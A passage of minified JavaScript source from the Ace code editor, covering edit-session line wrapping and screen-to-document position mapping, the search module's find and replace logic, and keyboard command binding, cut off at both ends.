this.doc.getLines(firstRow, lastRow) : this.doc.removeFullLines(firstRow, lastRow); this.doc.insertFullLines(firstRow+diff, lines); folds.length && this.addFolds(folds); return diff; }; this.moveLinesUp = function(firstRow, lastRow) { return this.$moveLines(firstRow, lastRow, -1); }; this.moveLinesDown = function(firstRow, lastRow) { return this.$moveLines(firstRow, lastRow, 1); }; this.duplicateLines = function(firstRow, lastRow) { return this.$moveLines(firstRow, lastRow, 0); }; this.$clipRowToDocument = function(row) { return Math.max(0, Math.min(row, this.doc.getLength()-1)); }; this.$clipColumnToRow = function(row, column) { if (column < 0) return 0; return Math.min(this.doc.getLine(row).length, column); }; this.$clipPositionToDocument = function(row, column) { column = Math.max(0, column); if (row < 0) { row = 0; column = 0; } else { var len = this.doc.getLength(); if (row >= len) { row = len - 1; column = this.doc.getLine(len-1).length; } else { column = Math.min(this.doc.getLine(row).length, column); } } return { row: row, column: column }; }; this.$clipRangeToDocument = function(range) { if (range.start.row < 0) { range.start.row = 0; range.start.column = 0; } else { range.start.column = this.$clipColumnToRow( range.start.row, range.start.column ); } var len = this.doc.getLength() - 1; if (range.end.row > len) { range.end.row = len; range.end.column = this.doc.getLine(len).length; } else { range.end.column = this.$clipColumnToRow( range.end.row, range.end.column ); } return range; }; this.$wrapLimit = 80; this.$useWrapMode = false; this.$wrapLimitRange = { min : null, max : null }; this.setUseWrapMode = function(useWrapMode) { if (useWrapMode != this.$useWrapMode) { this.$useWrapMode = useWrapMode; this.$modified = true; this.$resetRowCache(0); if (useWrapMode) { var len = this.getLength(); this.$wrapData = Array(len); this.$updateWrapData(0, len - 1); } this._signal("changeWrapMode"); } }; this.getUseWrapMode = function() { return this.$useWrapMode; }; this.setWrapLimitRange = function(min, max) { if (this.$wrapLimitRange.min !== min || this.$wrapLimitRange.max !== max) { this.$wrapLimitRange = { min: min, max: max }; this.$modified = true; if (this.$useWrapMode) this._signal("changeWrapMode"); } }; this.adjustWrapLimit = function(desiredLimit, $printMargin) { var limits = this.$wrapLimitRange; if (limits.max < 0) limits = {min: $printMargin, max: $printMargin}; var wrapLimit = this.$constrainWrapLimit(desiredLimit, limits.min, limits.max); if (wrapLimit != this.$wrapLimit && wrapLimit > 1) { this.$wrapLimit = wrapLimit; this.$modified = true; if (this.$useWrapMode) { this.$updateWrapData(0, this.getLength() - 1); this.$resetRowCache(0); this._signal("changeWrapLimit"); } return true; } return false; }; this.$constrainWrapLimit = function(wrapLimit, min, max) { if (min) wrapLimit = Math.max(min, wrapLimit); if (max) wrapLimit = Math.min(max, wrapLimit); return wrapLimit; }; this.getWrapLimit = function() { return this.$wrapLimit; }; this.setWrapLimit = function (limit) { this.setWrapLimitRange(limit, limit); }; this.getWrapLimitRange = function() { return { min : this.$wrapLimitRange.min, max : this.$wrapLimitRange.max }; }; this.$updateInternalDataOnChange = function(delta) { var useWrapMode = this.$useWrapMode; var action = delta.action; var start = delta.start; var end = delta.end; var firstRow = start.row; var lastRow = end.row; var len = lastRow - firstRow; var removedFolds = null; this.$updating = true; if (len != 0) { if (action === "remove") { this[useWrapMode ? "$wrapData" : "$rowLengthCache"].splice(firstRow, len); var foldLines = this.$foldData; removedFolds = this.getFoldsInRange(delta); this.removeFolds(removedFolds); var foldLine = this.getFoldLine(end.row); var idx = 0; if (foldLine) { foldLine.addRemoveChars(end.row, end.column, start.column - end.column); foldLine.shiftRow(-len); var foldLineBefore = this.getFoldLine(firstRow); if (foldLineBefore && foldLineBefore !== foldLine) { foldLineBefore.merge(foldLine); foldLine = foldLineBefore; } idx = foldLines.indexOf(foldLine) + 1; } for (idx; idx < foldLines.length; idx++) { var foldLine = foldLines[idx]; if (foldLine.start.row >= end.row) { foldLine.shiftRow(-len); } } lastRow = firstRow; } else { var args = Array(len); args.unshift(firstRow, 0); var arr = useWrapMode ? this.$wrapData : this.$rowLengthCache arr.splice.apply(arr, args); var foldLines = this.$foldData; var foldLine = this.getFoldLine(firstRow); var idx = 0; if (foldLine) { var cmp = foldLine.range.compareInside(start.row, start.column); if (cmp == 0) { foldLine = foldLine.split(start.row, start.column); if (foldLine) { foldLine.shiftRow(len); foldLine.addRemoveChars(lastRow, 0, end.column - start.column); } } else if (cmp == -1) { foldLine.addRemoveChars(firstRow, 0, end.column - start.column); foldLine.shiftRow(len); } idx = foldLines.indexOf(foldLine) + 1; } for (idx; idx < foldLines.length; idx++) { var foldLine = foldLines[idx]; if (foldLine.start.row >= firstRow) { foldLine.shiftRow(len); } } } } else { len = Math.abs(delta.start.column - delta.end.column); if (action === "remove") { removedFolds = this.getFoldsInRange(delta); this.removeFolds(removedFolds); len = -len; } var foldLine = this.getFoldLine(firstRow); if (foldLine) { foldLine.addRemoveChars(firstRow, start.column, len); } } if (useWrapMode && this.$wrapData.length != this.doc.getLength()) { console.error("doc.getLength() and $wrapData.length have to be the same!"); } this.$updating = false; if (useWrapMode) this.$updateWrapData(firstRow, lastRow); else this.$updateRowLengthCache(firstRow, lastRow); return removedFolds; }; this.$updateRowLengthCache = function(firstRow, lastRow, b) { this.$rowLengthCache[firstRow] = null; this.$rowLengthCache[lastRow] = null; }; this.$updateWrapData = function(firstRow, lastRow) { var lines = this.doc.getAllLines(); var tabSize = this.getTabSize(); var wrapData = this.$wrapData; var wrapLimit = this.$wrapLimit; var tokens; var foldLine; var row = firstRow; lastRow = Math.min(lastRow, lines.length - 1); while (row <= lastRow) { foldLine = this.getFoldLine(row, foldLine); if (!foldLine) { tokens = this.$getDisplayTokens(lines[row]); wrapData[row] = this.$computeWrapSplits(tokens, wrapLimit, tabSize); row ++; } else { tokens = []; foldLine.walk(function(placeholder, row, column, lastColumn) { var walkTokens; if (placeholder != null) { walkTokens = this.$getDisplayTokens( placeholder, tokens.length); walkTokens[0] = PLACEHOLDER_START; for (var i = 1; i < walkTokens.length; i++) { walkTokens[i] = PLACEHOLDER_BODY; } } else { walkTokens = this.$getDisplayTokens( lines[row].substring(lastColumn, column), tokens.length); } tokens = tokens.concat(walkTokens); }.bind(this), foldLine.end.row, lines[foldLine.end.row].length + 1 ); wrapData[foldLine.start.row] = this.$computeWrapSplits(tokens, wrapLimit, tabSize); row = foldLine.end.row + 1; } } }; var CHAR = 1, CHAR_EXT = 2, PLACEHOLDER_START = 3, PLACEHOLDER_BODY = 4, PUNCTUATION = 9, SPACE = 10, TAB = 11, TAB_SPACE = 12; this.$computeWrapSplits = function(tokens, wrapLimit, tabSize) { if (tokens.length == 0) { return []; } var splits = []; var displayLength = tokens.length; var lastSplit = 0, lastDocSplit = 0; var isCode = this.$wrapAsCode; var indentedSoftWrap = this.$indentedSoftWrap; var maxIndent = wrapLimit <= Math.max(2 * tabSize, 8) || indentedSoftWrap === false ? 0 : Math.floor(wrapLimit / 2); function getWrapIndent() { var indentation = 0; if (maxIndent === 0) return indentation; if (indentedSoftWrap) { for (var i = 0; i < tokens.length; i++) { var token = tokens[i]; if (token == SPACE) indentation += 1; else if (token == TAB) indentation += tabSize; else if (token == TAB_SPACE) continue; else break; } } if (isCode && indentedSoftWrap !== false) indentation += tabSize; return Math.min(indentation, maxIndent); } function addSplit(screenPos) { var displayed = tokens.slice(lastSplit, screenPos); var len = displayed.length; displayed.join("") .replace(/12/g, function() { len -= 1; }) .replace(/2/g, function() { len -= 1; }); if (!splits.length) { indent = getWrapIndent(); splits.indent = indent; } lastDocSplit += len; splits.push(lastDocSplit); lastSplit = screenPos; } var indent = 0; while (displayLength - lastSplit > wrapLimit - indent) { var split = lastSplit + wrapLimit - indent; if (tokens[split - 1] >= SPACE && tokens[split] >= SPACE) { addSplit(split); continue; } if (tokens[split] == PLACEHOLDER_START || tokens[split] == PLACEHOLDER_BODY) { for (split; split != lastSplit - 1; split--) { if (tokens[split] == PLACEHOLDER_START) { break; } } if (split > lastSplit) { addSplit(split); continue; } split = lastSplit + wrapLimit; for (split; split < tokens.length; split++) { if (tokens[split] != PLACEHOLDER_BODY) { break; } } if (split == tokens.length) { break; // Breaks the while-loop. } addSplit(split); continue; } var minSplit = Math.max(split - (wrapLimit -(wrapLimit>>2)), lastSplit - 1); while (split > minSplit && tokens[split] < PLACEHOLDER_START) { split --; } if (isCode) { while (split > minSplit && tokens[split] < PLACEHOLDER_START) { split --; } while (split > minSplit && tokens[split] == PUNCTUATION) { split --; } } else { while (split > minSplit && tokens[split] < SPACE) { split --; } } if (split > minSplit) { addSplit(++split); continue; } split = lastSplit + wrapLimit; if (tokens[split] == CHAR_EXT) split--; addSplit(split - indent); } return splits; }; this.$getDisplayTokens = function(str, offset) { var arr = []; var tabSize; offset = offset || 0; for (var i = 0; i < str.length; i++) { var c = str.charCodeAt(i); if (c == 9) { tabSize = this.getScreenTabSize(arr.length + offset); arr.push(TAB); for (var n = 1; n < tabSize; n++) { arr.push(TAB_SPACE); } } else if (c == 32) { arr.push(SPACE); } else if((c > 39 && c < 48) || (c > 57 && c < 64)) { arr.push(PUNCTUATION); } else if (c >= 0x1100 && isFullWidth(c)) { arr.push(CHAR, CHAR_EXT); } else { arr.push(CHAR); } } return arr; }; this.$getStringScreenWidth = function(str, maxScreenColumn, screenColumn) { if (maxScreenColumn == 0) return [0, 0]; if (maxScreenColumn == null) maxScreenColumn = Infinity; screenColumn = screenColumn || 0; var c, column; for (column = 0; column < str.length; column++) { c = str.charCodeAt(column); if (c == 9) { screenColumn += this.getScreenTabSize(screenColumn); } else if (c >= 0x1100 && isFullWidth(c)) { screenColumn += 2; } else { screenColumn += 1; } if (screenColumn > maxScreenColumn) { break; } } return [screenColumn, column]; }; this.lineWidgets = null; this.getRowLength = function(row) { if (this.lineWidgets) var h = this.lineWidgets[row] && this.lineWidgets[row].rowCount || 0; else h = 0 if (!this.$useWrapMode || !this.$wrapData[row]) { return 1 + h; } else { return this.$wrapData[row].length + 1 + h; } }; this.getRowLineCount = function(row) { if (!this.$useWrapMode || !this.$wrapData[row]) { return 1; } else { return this.$wrapData[row].length + 1; } }; this.getRowWrapIndent = function(screenRow) { if (this.$useWrapMode) { var pos = this.screenToDocumentPosition(screenRow, Number.MAX_VALUE); var splits = this.$wrapData[pos.row]; return splits.length && splits[0] < pos.column ? splits.indent : 0; } else { return 0; } } this.getScreenLastRowColumn = function(screenRow) { var pos = this.screenToDocumentPosition(screenRow, Number.MAX_VALUE); return this.documentToScreenColumn(pos.row, pos.column); }; this.getDocumentLastRowColumn = function(docRow, docColumn) { var screenRow = this.documentToScreenRow(docRow, docColumn); return this.getScreenLastRowColumn(screenRow); }; this.getDocumentLastRowColumnPosition = function(docRow, docColumn) { var screenRow = this.documentToScreenRow(docRow, docColumn); return this.screenToDocumentPosition(screenRow, Number.MAX_VALUE / 10); }; this.getRowSplitData = function(row) { if (!this.$useWrapMode) { return undefined; } else { return this.$wrapData[row]; } }; this.getScreenTabSize = function(screenColumn) { return this.$tabSize - screenColumn % this.$tabSize; }; this.screenToDocumentRow = function(screenRow, screenColumn) { return this.screenToDocumentPosition(screenRow, screenColumn).row; }; this.screenToDocumentColumn = function(screenRow, screenColumn) { return this.screenToDocumentPosition(screenRow, screenColumn).column; }; this.screenToDocumentPosition = function(screenRow, screenColumn) { if (screenRow < 0) return {row: 0, column: 0}; var line; var docRow = 0; var docColumn = 0; var column; var row = 0; var rowLength = 0; var rowCache = this.$screenRowCache; var i = this.$getRowCacheIndex(rowCache, screenRow); var l = rowCache.length; if (l && i >= 0) { var row = rowCache[i]; var docRow = this.$docRowCache[i]; var doCache = screenRow > rowCache[l - 1]; } else { var doCache = !l; } var maxRow = this.getLength() - 1; var foldLine = this.getNextFoldLine(docRow); var foldStart = foldLine ? foldLine.start.row : Infinity; while (row <= screenRow) { rowLength = this.getRowLength(docRow); if (row + rowLength > screenRow || docRow >= maxRow) { break; } else { row += rowLength; docRow++; if (docRow > foldStart) { docRow = foldLine.end.row+1; foldLine = this.getNextFoldLine(docRow, foldLine); foldStart = foldLine ? foldLine.start.row : Infinity; } } if (doCache) { this.$docRowCache.push(docRow); this.$screenRowCache.push(row); } } if (foldLine && foldLine.start.row <= docRow) { line = this.getFoldDisplayLine(foldLine); docRow = foldLine.start.row; } else if (row + rowLength <= screenRow || docRow > maxRow) { return { row: maxRow, column: this.getLine(maxRow).length }; } else { line = this.getLine(docRow); foldLine = null; } var wrapIndent = 0; if (this.$useWrapMode) { var splits = this.$wrapData[docRow]; if (splits) { var splitIndex = Math.floor(screenRow - row); column = splits[splitIndex]; if(splitIndex > 0 && splits.length) { wrapIndent = splits.indent; docColumn = splits[splitIndex - 1] || splits[splits.length - 1]; line = line.substring(docColumn); } } } docColumn += this.$getStringScreenWidth(line, screenColumn - wrapIndent)[1]; if (this.$useWrapMode && docColumn >= column) docColumn = column - 1; if (foldLine) return foldLine.idxToPosition(docColumn); return {row: docRow, column: docColumn}; }; this.documentToScreenPosition = function(docRow, docColumn) { if (typeof docColumn === "undefined") var pos = this.$clipPositionToDocument(docRow.row, docRow.column); else pos = this.$clipPositionToDocument(docRow, docColumn); docRow = pos.row; docColumn = pos.column; var screenRow = 0; var foldStartRow = null; var fold = null; fold = this.getFoldAt(docRow, docColumn, 1); if (fold) { docRow = fold.start.row; docColumn = fold.start.column; } var rowEnd, row = 0; var rowCache = this.$docRowCache; var i = this.$getRowCacheIndex(rowCache, docRow); var l = rowCache.length; if (l && i >= 0) { var row = rowCache[i]; var screenRow = this.$screenRowCache[i]; var doCache = docRow > rowCache[l - 1]; } else { var doCache = !l; } var foldLine = this.getNextFoldLine(row); var foldStart = foldLine ?foldLine.start.row :Infinity; while (row < docRow) { if (row >= foldStart) { rowEnd = foldLine.end.row + 1; if (rowEnd > docRow) break; foldLine = this.getNextFoldLine(rowEnd, foldLine); foldStart = foldLine ?foldLine.start.row :Infinity; } else { rowEnd = row + 1; } screenRow += this.getRowLength(row); row = rowEnd; if (doCache) { this.$docRowCache.push(row); this.$screenRowCache.push(screenRow); } } var textLine = ""; if (foldLine && row >= foldStart) { textLine = this.getFoldDisplayLine(foldLine, docRow, docColumn); foldStartRow = foldLine.start.row; } else { textLine = this.getLine(docRow).substring(0, docColumn); foldStartRow = docRow; } var wrapIndent = 0; if (this.$useWrapMode) { var wrapRow = this.$wrapData[foldStartRow]; if (wrapRow) { var screenRowOffset = 0; while (textLine.length >= wrapRow[screenRowOffset]) { screenRow ++; screenRowOffset++; } textLine = textLine.substring( wrapRow[screenRowOffset - 1] || 0, textLine.length ); wrapIndent = screenRowOffset > 0 ? wrapRow.indent : 0; } } return { row: screenRow, column: wrapIndent + this.$getStringScreenWidth(textLine)[0] }; }; this.documentToScreenColumn = function(row, docColumn) { return this.documentToScreenPosition(row, docColumn).column; }; this.documentToScreenRow = function(docRow, docColumn) { return this.documentToScreenPosition(docRow, docColumn).row; }; this.getScreenLength = function() { var screenRows = 0; var fold = null; if (!this.$useWrapMode) { screenRows = this.getLength(); var foldData = this.$foldData; for (var i = 0; i < foldData.length; i++) { fold = foldData[i]; screenRows -= fold.end.row - fold.start.row; } } else { var lastRow = this.$wrapData.length; var row = 0, i = 0; var fold = this.$foldData[i++]; var foldStart = fold ? fold.start.row :Infinity; while (row < lastRow) { var splits = this.$wrapData[row]; screenRows += splits ? splits.length + 1 : 1; row ++; if (row > foldStart) { row = fold.end.row+1; fold = this.$foldData[i++]; foldStart = fold ?fold.start.row :Infinity; } } } if (this.lineWidgets) screenRows += this.$getWidgetScreenLength(); return screenRows; }; this.$setFontMetrics = function(fm) { if (!this.$enableVarChar) return; this.$getStringScreenWidth = function(str, maxScreenColumn, screenColumn) { if (maxScreenColumn === 0) return [0, 0]; if (!maxScreenColumn) maxScreenColumn = Infinity; screenColumn = screenColumn || 0; var c, column; for (column = 0; column < str.length; column++) { c = str.charAt(column); if (c === "\t") { screenColumn += this.getScreenTabSize(screenColumn); } else { screenColumn += fm.getCharacterWidth(c); } if (screenColumn > maxScreenColumn) { break; } } return [screenColumn, column]; }; }; this.destroy = function() { if (this.bgTokenizer) { this.bgTokenizer.setDocument(null); this.bgTokenizer = null; } this.$stopWorker(); }; function isFullWidth(c) { if (c < 0x1100) return false; return c >= 0x1100 && c <= 0x115F || c >= 0x11A3 && c <= 0x11A7 || c >= 0x11FA && c <= 0x11FF || c >= 0x2329 && c <= 0x232A || c >= 0x2E80 && c <= 0x2E99 || c >= 0x2E9B && c <= 0x2EF3 || c >= 0x2F00 && c <= 0x2FD5 || c >= 0x2FF0 && c <= 0x2FFB || c >= 0x3000 && c <= 0x303E || c >= 0x3041 && c <= 0x3096 || c >= 0x3099 && c <= 0x30FF || c >= 0x3105 && c <= 0x312D || c >= 0x3131 && c <= 0x318E || c >= 0x3190 && c <= 0x31BA || c >= 0x31C0 && c <= 0x31E3 || c >= 0x31F0 && c <= 0x321E || c >= 0x3220 && c <= 0x3247 || c >= 0x3250 && c <= 0x32FE || c >= 0x3300 && c <= 0x4DBF || c >= 0x4E00 && c <= 0xA48C || c >= 0xA490 && c <= 0xA4C6 || c >= 0xA960 && c <= 0xA97C || c >= 0xAC00 && c <= 0xD7A3 || c >= 0xD7B0 && c <= 0xD7C6 || c >= 0xD7CB && c <= 0xD7FB || c >= 0xF900 && c <= 0xFAFF || c >= 0xFE10 && c <= 0xFE19 || c >= 0xFE30 && c <= 0xFE52 || c >= 0xFE54 && c <= 0xFE66 || c >= 0xFE68 && c <= 0xFE6B || c >= 0xFF01 && c <= 0xFF60 || c >= 0xFFE0 && c <= 0xFFE6; } }).call(EditSession.prototype); require("./edit_session/folding").Folding.call(EditSession.prototype); require("./edit_session/bracket_match").BracketMatch.call(EditSession.prototype); config.defineOptions(EditSession.prototype, "session", { wrap: { set: function(value) { if (!value || value == "off") value = false; else if (value == "free") value = true; else if (value == "printMargin") value = -1; else if (typeof value == "string") value = parseInt(value, 10) || false; if (this.$wrap == value) return; this.$wrap = value; if (!value) { this.setUseWrapMode(false); } else { var col = typeof value == "number" ? value : null; this.setWrapLimitRange(col, col); this.setUseWrapMode(true); } }, get: function() { if (this.getUseWrapMode()) { if (this.$wrap == -1) return "printMargin"; if (!this.getWrapLimitRange().min) return "free"; return this.$wrap; } return "off"; }, handlesSet: true }, wrapMethod: { set: function(val) { val = val == "auto" ? this.$mode.type != "text" : val != "text"; if (val != this.$wrapAsCode) { this.$wrapAsCode = val; if (this.$useWrapMode) { this.$modified = true; this.$resetRowCache(0); this.$updateWrapData(0, this.getLength() - 1); } } }, initialValue: "auto" }, indentedSoftWrap: { initialValue: true }, firstLineNumber: { set: function() {this._signal("changeBreakpoint");}, initialValue: 1 }, useWorker: { set: function(useWorker) { this.$useWorker = useWorker; this.$stopWorker(); if (useWorker) this.$startWorker(); }, initialValue: true }, useSoftTabs: {initialValue: true}, tabSize: { set: function(tabSize) { if (isNaN(tabSize) || this.$tabSize === tabSize) return; this.$modified = true; this.$rowLengthCache = []; this.$tabSize = tabSize; this._signal("changeTabSize"); }, initialValue: 4, handlesSet: true }, overwrite: { set: function(val) {this._signal("changeOverwrite");}, initialValue: false }, newLineMode: { set: function(val) {this.doc.setNewLineMode(val)}, get: function() {return this.doc.getNewLineMode()}, handlesSet: true }, mode: { set: function(val) { this.setMode(val) }, get: function() { return this.$modeId } } }); exports.EditSession = EditSession; }); ace.define("ace/search",["require","exports","module","ace/lib/lang","ace/lib/oop","ace/range"], function(require, exports, module) { "use strict"; var lang = require("./lib/lang"); var oop = require("./lib/oop"); var Range = require("./range").Range; var Search = function() { this.$options = {}; }; (function() { this.set = function(options) { oop.mixin(this.$options, options); return this; }; this.getOptions = function() { return lang.copyObject(this.$options); }; this.setOptions = function(options) { this.$options = options; }; this.find = function(session) { var options = this.$options; var iterator = this.$matchIterator(session, options); if (!iterator) return false; var firstRange = null; iterator.forEach(function(range, row, offset) { if (!range.start) { var column = range.offset + (offset || 0); firstRange = new Range(row, column, row, column + range.length); if (!range.length && options.start && options.start.start && options.skipCurrent != false && firstRange.isEqual(options.start) ) { firstRange = null; return false; } } else firstRange = range; return true; }); return firstRange; }; this.findAll = function(session) { var options = this.$options; if (!options.needle) return []; this.$assembleRegExp(options); var range = options.range; var lines = range ? session.getLines(range.start.row, range.end.row) : session.doc.getAllLines(); var ranges = []; var re = options.re; if (options.$isMultiLine) { var len = re.length; var maxRow = lines.length - len; var prevRange; outer: for (var row = re.offset || 0; row <= maxRow; row++) { for (var j = 0; j < len; j++) if (lines[row + j].search(re[j]) == -1) continue outer; var startLine = lines[row]; var line = lines[row + len - 1]; var startIndex = startLine.length - startLine.match(re[0])[0].length; var endIndex = line.match(re[len - 1])[0].length; if (prevRange && prevRange.end.row === row && prevRange.end.column > startIndex ) { continue; } ranges.push(prevRange = new Range( row, startIndex, row + len - 1, endIndex )); if (len > 2) row = row + len - 2; } } else { for (var i = 0; i < lines.length; i++) { var matches = lang.getMatchOffsets(lines[i], re); for (var j = 0; j < matches.length; j++) { var match = matches[j]; ranges.push(new Range(i, match.offset, i, match.offset + match.length)); } } } if (range) { var startColumn = range.start.column; var endColumn = range.start.column; var i = 0, j = ranges.length - 1; while (i < j && ranges[i].start.column < startColumn && ranges[i].start.row == range.start.row) i++; while (i < j && ranges[j].end.column > endColumn && ranges[j].end.row == range.end.row) j--; ranges = ranges.slice(i, j + 1); for (i = 0, j = ranges.length; i < j; i++) { ranges[i].start.row += range.start.row; ranges[i].end.row += range.start.row; } } return ranges; }; this.replace = function(input, replacement) { var options = this.$options; var re = this.$assembleRegExp(options); if (options.$isMultiLine) return replacement; if (!re) return; var match = re.exec(input); if (!match || match[0].length != input.length) return null; replacement = input.replace(re, replacement); if (options.preserveCase) { replacement = replacement.split(""); for (var i = Math.min(input.length, input.length); i--; ) { var ch = input[i]; if (ch && ch.toLowerCase() != ch) replacement[i] = replacement[i].toUpperCase(); else replacement[i] = replacement[i].toLowerCase(); } replacement = replacement.join(""); } return replacement; }; this.$matchIterator = function(session, options) { var re = this.$assembleRegExp(options); if (!re) return false; var callback; if (options.$isMultiLine) { var len = re.length; var matchIterator = function(line, row, offset) { var startIndex = line.search(re[0]); if (startIndex == -1) return; for (var i = 1; i < len; i++) { line = session.getLine(row + i); if (line.search(re[i]) == -1) return; } var endIndex = line.match(re[len - 1])[0].length; var range = new Range(row, startIndex, row + len - 1, endIndex); if (re.offset == 1) { range.start.row--; range.start.column = Number.MAX_VALUE; } else if (offset) range.start.column += offset; if (callback(range)) return true; }; } else if (options.backwards) { var matchIterator = function(line, row, startIndex) { var matches = lang.getMatchOffsets(line, re); for (var i = matches.length-1; i >= 0; i--) if (callback(matches[i], row, startIndex)) return true; }; } else { var matchIterator = function(line, row, startIndex) { var matches = lang.getMatchOffsets(line, re); for (var i = 0; i < matches.length; i++) if (callback(matches[i], row, startIndex)) return true; }; } var lineIterator = this.$lineIterator(session, options); return { forEach: function(_callback) { callback = _callback; lineIterator.forEach(matchIterator); } }; }; this.$assembleRegExp = function(options, $disableFakeMultiline) { if (options.needle instanceof RegExp) return options.re = options.needle; var needle = options.needle; if (!options.needle) return options.re = false; if (!options.regExp) needle = lang.escapeRegExp(needle); if (options.wholeWord) needle = "\\b" + needle + "\\b"; var modifier = options.caseSensitive ? "gm" : "gmi"; options.$isMultiLine = !$disableFakeMultiline && /[\n\r]/.test(needle); if (options.$isMultiLine) return options.re = this.$assembleMultilineRegExp(needle, modifier); try { var re = new RegExp(needle, modifier); } catch(e) { re = false; } return options.re = re; }; this.$assembleMultilineRegExp = function(needle, modifier) { var parts = needle.replace(/\r\n|\r|\n/g, "$\n^").split("\n"); var re = []; for (var i = 0; i < parts.length; i++) try { re.push(new RegExp(parts[i], modifier)); } catch(e) { return false; } if (parts[0] == "") { re.shift(); re.offset = 1; } else { re.offset = 0; } return re; }; this.$lineIterator = function(session, options) { var backwards = options.backwards == true; var skipCurrent = options.skipCurrent != false; var range = options.range; var start = options.start; if (!start) start = range ? range[backwards ? "end" : "start"] : session.selection.getRange(); if (start.start) start = start[skipCurrent != backwards ? "end" : "start"]; var firstRow = range ? range.start.row : 0; var lastRow = range ? range.end.row : session.getLength() - 1; var forEach = backwards ? function(callback) { var row = start.row; var line = session.getLine(row).substring(0, start.column); if (callback(line, row)) return; for (row--; row >= firstRow; row--) if (callback(session.getLine(row), row)) return; if (options.wrap == false) return; for (row = lastRow, firstRow = start.row; row >= firstRow; row--) if (callback(session.getLine(row), row)) return; } : function(callback) { var row = start.row; var line = session.getLine(row).substr(start.column); if (callback(line, row, start.column)) return; for (row = row+1; row <= lastRow; row++) if (callback(session.getLine(row), row)) return; if (options.wrap == false) return; for (row = firstRow, lastRow = start.row; row <= lastRow; row++) if (callback(session.getLine(row), row)) return; }; return {forEach: forEach}; }; }).call(Search.prototype); exports.Search = Search; }); ace.define("ace/keyboard/hash_handler",["require","exports","module","ace/lib/keys","ace/lib/useragent"], function(require, exports, module) { "use strict"; var keyUtil = require("../lib/keys"); var useragent = require("../lib/useragent"); var KEY_MODS = keyUtil.KEY_MODS; function HashHandler(config, platform) { this.platform = platform || (useragent.isMac ? "mac" : "win"); this.commands = {}; this.commandKeyBinding = {}; this.addCommands(config); this.$singleCommand = true; } function MultiHashHandler(config, platform) { HashHandler.call(this, config, platform); this.$singleCommand = false; } MultiHashHandler.prototype = HashHandler.prototype; (function() { this.addCommand = function(command) { if (this.commands[command.name]) this.removeCommand(command); this.commands[command.name] = command; if (command.bindKey) this._buildKeyHash(command); }; this.removeCommand = function(command, keepCommand) { var name = command && (typeof command === 'string' ? command : command.name); command = this.commands[name]; if (!keepCommand) delete this.commands[name]; var ckb = this.commandKeyBinding; for (var keyId in ckb) { var cmdGroup = ckb[keyId]; if (cmdGroup == command) { delete ckb[keyId]; } else if (Array.isArray(cmdGroup)) { var i = cmdGroup.indexOf(command); if (i != -1) { cmdGroup.splice(i, 1); if (cmdGroup.length == 1) ckb[keyId] = cmdGroup[0]; } } } }; this.bindKey = function(key, command, position) { if (typeof key == "object" && key) { if (position == undefined) position = key.position; key = key[this.platform]; } if (!key) return; if (typeof command == "function") return this.addCommand({exec: command, bindKey: key, name: command.name || key}); key.split("|").forEach(function(keyPart) { var chain = ""; if (keyPart.indexOf(" ") != -1) { var parts = keyPart.split(/\s+/); keyPart = parts.pop(); parts.forEach(function(keyPart) { var binding = this.parseKeys(keyPart); var id = KEY_MODS[binding.hashId] + binding.key; chain += (chain ? " " : "") + id; this._addCommandToBinding(chain, "chainKeys"); }, this); chain += " "; } var binding = this.parseKeys(keyPart); var id = KEY_MODS[binding.hashId] + binding.key; this._addCommandToBinding(chain + id, command, position); }, this); }; function getPosition(command) { return typeof command == "object" && command.bindKey && command.bindKey.position || 0; } this._addCommandToBinding = function(keyId, command, position) { var ckb = this.commandKeyBinding, i; if (!command) { delete ckb[keyId]; } else if (!ckb[keyId] || this.$singleCommand) { ckb[keyId] = command; } else { if (!Array.isArray(ckb[keyId])) { ckb[keyId] = [ckb[keyId]]; } else if ((i = ckb[keyId].indexOf(command)) != -1) { ckb[keyId].splice(i, 1); } if (typeof position != "number") { if (position || command.isDefault) position = -100; else position = getPosition(command); } var commands = ckb[keyId]; for (i = 0; i < commands.length; i++) { var other = commands[i]; var otherPos = getPosition(other); if (otherPos > position) break; } commands.splice(i, 0, command); } }; this.addCommands = function(commands) { commands && Object.keys(commands).forEach(function(name) { var command = commands[name]; if (!command) return; if (typeof command === "string") return this.bindKey(command, name); if (typeof command === "function") command = { exec: command }; if (typeof command !== "object") return; if (!command.name) command.name = name; this.addCommand(command); }, this); }; this.removeCommands = function(commands) { Object.keys(commands).forEach(function(name) { this.removeCommand(commands[name]); }, this); }; this.bindKeys = function(keyList) { Object.keys(keyList).forEach(function(key) { this.bindKey(key, keyList[key]); }, this); }; this._buildKeyHash = function(command) { this.bindKey(command.bindKey, command); }; this.parseKeys = function(keys) { var parts = keys.toLowerCase().split(/[\-\+]([\-\+])?/).filter(function(x){return x}); var key = parts.pop(); var keyCode = keyUtil[key]; if (keyUtil.FUNCTION_KEYS[keyCode]) key = keyUtil.FUNCTION_KEYS[keyCode].toLowerCase(); else if (!parts.length) return {key: key, hashId: -1}; else if (parts.length == 1 && parts[0] == "shift") return {key: key.toUpperCase(), hashId: -1}; var hashId = 0; for (var i = parts.length; i--;) { var modifier = keyUtil.KEY_MODS[parts[i]]; if (modifier == null) { if (typeof console != "undefined") console.error("invalid modifier " + parts[i] + " in " + keys); return false; } hashId |= modifier; } return {key: key, hashId: hashId}; }; this.findKeyCommand = function findKeyCommand(hashId, keyString) { var key = KEY_MODS[hashId] + keyString; return this.commandKeyBinding[key]; }; this.handleKeyboard = function(data, hashId, keyString, keyCode) { if (keyCode < 0) return; var key = KEY_MODS[hashId] + keyString; var command = this.commandKeyBinding[key]; if (data.$keyChain) { data.$keyChain += " " + key; command = this.commandKeyBinding[data.$keyChain] || command; } if (command) { if (command == "chainKeys" || command[command.length - 1] == "chainKeys") { data.$keyChain = data.$keyChain || key; return {command: "null"}; } } if (data.$keyChain) { if ((!hashId || hashId == 4) && keyString.length == 1) data.$keyChain = data.$keyChain.slice(0, -key.length - 1); // wait for input else if (hashId == -1 || keyCode > 0) data.$keyChain = ""; // reset keyChain } return {command: command}; }; this.getStatusText = function(editor, data) { return data.$keyChain || ""; }; }).call(HashHandler.prototype); exports.HashHandler = HashHandler; exports.MultiHashHandler = MultiHashHandler; }); ace.define("ace/commands/command_manager",["require","exports","module","ace/lib/oop","ace/keyboard/hash_handler","ace/lib/event_emitter"], function(require, exports, module) { "use strict"; var oop = require("../lib/oop"); var MultiHashHandler = require("../keyboard/hash_handler").MultiHashHandler; var EventEmitter = require("../lib/event_emitter").EventEmitter; var CommandManager = function(platform, commands) { MultiHashHandler.call(this, commands, platform); this.byName = this.commands; this.setDefaultHandler("exec", function(e) { return e.command.exec(e.editor, e.args || {}); }); }; oop.inherits(CommandManager, 